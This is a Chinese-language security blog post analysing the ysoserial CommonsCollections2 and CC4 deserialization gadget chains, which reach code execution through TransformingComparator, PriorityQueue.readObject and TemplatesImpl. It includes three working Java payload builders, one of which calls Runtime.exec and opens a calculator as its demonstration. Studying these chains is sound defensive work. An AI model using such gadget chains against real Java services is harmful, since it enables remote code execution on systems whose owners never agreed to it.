YsoSerial 工具常用Payload分析之Common-Collections2、4（五）

阅读原文时间：2021年08月07日阅读：1

Common-Collections <= 3.2.1 对应与YsoSerial为CC1、3、5、6、7 ，Commno-collections4.0对应与CC2、4. 这篇文章结束官方原版YsoSerial关于Common-Collections链的分析就已经结束了。

TemplatesImpl

在之前有介绍过TemplatesImpl 这个类的命令执行利用方法，我们回顾一下，TemplatesImpl中存在对变量_bytecodes 进行defineClass加载的 defineTransletClasses 方法：

这会在JVM中夹在类对象，巧合的是，内部又存在 getTransletInstance() 方法，对刚刚加载的类进行实例化：

对外提供的公共方法中，newTransformer() 又会调用 getTransletInstance() 方法，所以找到利用链中有谁能够调用newTransformer() 就好。

TransformingComparator

这里介绍一个新东西TransformingComparator，这个类在Common-collections3.x 和4.x 都存在，但3.x的版本没有继承 Serializable ，所以不能用在反序列化利用里面，写代码引入的时候要注意不要引错。

TransformingComparator 实现了 Comparator 接口，里面的 compare 用作进行两个对象进行比较，接口方法要求：如果o1< o2 返回负数， o1=o2 返回0，o1>02 返回正数：

compare 方法的使用场景会用在数组、队列的排序上，我们来看一下 TransformingComparator 对 compare 方法的实现：

在进行比较前，分别先对两个对象进行执行transfrom方法，得到的结果再对对象进行compare操作，transfrom 和 decorated 来自类构造方法传入：

如果不传入 decorated 则默认使用 ComparableComparator ：

这里的compare方法里面有调用transfomer方法，以及能够触发之前介绍过的common-collections恶意transfomer，需要找到一个类在反序列化过程中有调用 compare 方法。

PriorityQueue

队列是遵循先进先出（First-In-First-Out）模式的，但有时需要在队列中基于优先级处理对象。

举两个例子：

作业系统中的调度程序，当一个作业完成后，需要在所有等待调度的作业中选择一个优先级最高的作业来执行，并且也可以添加一个新的作业到作业的优先队列中。

每日交易时段生成股票报告的应用程序中，需要处理大量数据并且花费很多处理时间。客户向这个应用程序发送请求时，实际上就进入了队列。我们需要首先处理优先客户再处理普通用户。在这种情况下，Java的PriorityQueue(优先队列)会很有帮助。

PriorityQueue类在Java1.5中引入并作为 Java Collections Framework 的一部分。PriorityQueue是基于优先堆的一个无界队列，这个优先队列中的元素可以默认自然排序或者通过提供的Comparator（比较器）在队列实例化的时排序。

优先队列不允许空值，而且不支持non-comparable（不可比较）的对象，比如用户自定义的类。优先队列要求使用Java Comparable和Comparator接口给对象排序，并且在排序时会按照优先级处理其中的元素。

优先队列的头是基于自然排序或者Comparator排序的最小元素。如果有多个对象拥有同样的排序，那么就可能随机地取其中任意一个。当我们获取队列时，返回队列的头对象。

优先队列的大小是不受限制的，但在创建时可以指定初始大小。当我们向优先队列增加元素的时候，队列大小会自动增加。

PriorityQueue是非线程安全的，所以Java提供了PriorityBlockingQueue（实现BlockingQueue接口）用于Java多线程环境。

总的来说就是一种特殊的队列，初始化时可传入comparator，在添加或者删除队列元素时可调用comparator.compare 方法完成排序。

打开PriorityQueue源码，找到readObject，里面依次调用heapify -> siftDown -> siftDownUsingComparator：

其中 siftDownUsingComparator 有调用compare方法：

这里就和上面的TransformingComparator串起来了。

挖掘利用链

思路一

PriorityQueue里面调用compare 方法，而TransformingComparator#compare有调用transfomer方法，其实已经将漏洞利用给串起来了，那我们使用一个恶意的Transfomer数组也可以可以利用的：

        String cmd = "/System/Applications/Calculator.app/Contents/MacOS/Calculator";
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{cmd})
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{new ConstantTransformer(1)});

        PriorityQueue priorityQueue = new PriorityQueue(2,new TransformingComparator((chainedTransformer) ));
        priorityQueue.add(1);
        priorityQueue.add(1);

        ReflectUtils.setFields(chainedTransformer,"iTransformers",transformers);
//        Field queue =   ReflectUtils.getFields(priorityQueue,"queue");
//        Object[] objects = (Object[]) queue.get(priorityQueue);
//        objects[0] = 1;
//        objects[1] = 1;

        String path = ExpUtils.serialize(priorityQueue);
        ExpUtils.unserialize(path);

其中 ReflectUtils.setFields(chainedTransformer,"iTransformers",transformers); 是为了避免序列化过程中执行恶意代码，前面利用链分析已经讲过，不再赘述，查看执行效果：

发现有两个计算器弹出，这是因为在compare中执行了两个Transformer方法：

思路二

其实上面的代码已经能够在common-collections4.0下执行，但YsoSerial却不是这么写的，YsoSerial更加简洁，使用我们之间介绍的TemplatesImpl，直接利用InvokerTransfomer进行触发，代码如下：

        Templates templates =  ExpUtils.getEvilTemplates();
        InvokerTransformer transformer = new InvokerTransformer("toString",new Class[0],new Object[0]);
        PriorityQueue priorityQueue = new PriorityQueue(2,new TransformingComparator((transformer) ));
        priorityQueue.add(1);
        priorityQueue.add(1);

        ReflectUtils.setFields(transformer,"iMethodName","newTransformer");
        Field queue =   ReflectUtils.getFields(priorityQueue,"queue");
        Object[] objects = (Object[]) queue.get(priorityQueue);
        objects[0] = templates;
        objects[1] = 1;

        String path = ExpUtils.serialize(priorityQueue);
        ExpUtils.unserialize(path);

同样 ReflectUtils.setFields(transformer,"iMethodName","newTransformer"); 和：

         Field queue =   ReflectUtils.getFields(priorityQueue,"queue");
        Object[] objects = (Object[]) queue.get(priorityQueue);
        objects[0] = templates;
        objects[1] = 1;

都是为了避免在队列添加时触发代码而代码执行，执行结果

成功执行命令，只弹出一个是因为执行TemplatesImpl时会报错抛异常从而导致无法执行下一个transfomer。

其实CC4 同样也是使用PriorityQueue，只不过在tranfomer选择了TrAXFilter，这个和CC3是一致的，只不过是用PriorityQueue来触发，具体原理不再继续分析，直接贴代码：

        Templates templates = ExpUtils.getEvilTemplates();

        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{String.class},new Object[]{"foo"});

        ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
                new ConstantTransformer(String.class),
                instantiateTransformer
        });
        PriorityQueue priorityQueue = new PriorityQueue(2,new TransformingComparator(chainedTransformer));
        priorityQueue.add(1);
        priorityQueue.add(2);

        ReflectUtils.setFields(chainedTransformer,"iTransformers",new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
        });
        String path =  ExpUtils.serialize(priorityQueue);
        ExpUtils.unserialize(path);

执行结果：